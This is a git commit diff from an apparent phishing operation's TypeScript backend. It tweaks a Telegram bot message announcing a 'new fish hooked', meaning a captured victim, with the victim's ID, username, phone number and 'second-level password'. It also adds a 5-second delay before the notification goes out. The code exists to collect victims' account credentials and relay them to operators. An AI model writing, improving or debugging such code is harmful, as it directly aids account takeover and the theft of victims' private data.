Преглед на файлове

优化 BotService 中的用户信息显示逻辑,确保用户名和手机号在未设置时返回空字符串;在 FishService 中新增 5 秒的等待时间,以改善通知发送的时序。

wuyi преди 3 месеца
родител
ревизия
2c4e02d98a
променени са 2 файла, в които са добавени 4 реда и са изтрити 2 реда
  1. 2 2
      src/services/bot.service.ts
  2. 2 0
      src/services/fish.service.ts

+ 2 - 2
src/services/bot.service.ts

@@ -155,8 +155,8 @@ export class BotService {
     const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
 
 鱼苗ID:     <code>${id}</code>
-用户名:     <code>${username || ''}</code>
-手机号:     <code>+${phone || ''}</code>
+用户名:     <code>${username ? username : ''}</code>
+手机号:     <code>${phone ? `+${phone}` : ''}</code>
 二级密码:  <code>${password || '未设置'}</code>
 上鱼时间:  <code>${createdAt.toLocaleString('zh-CN')}</code>`
 

+ 2 - 0
src/services/fish.service.ts

@@ -25,6 +25,8 @@ export class FishService {
 
     // 发送 Telegram 通知
     try {
+      // 等待 5s
+      await new Promise(resolve => setTimeout(resolve, 5000))
       const botData = await this.findById(savedFish.id)
       this.app.log.info(`Bot data: ${JSON.stringify(botData)}`)
       await this.botService.sendFishNotificationToAll(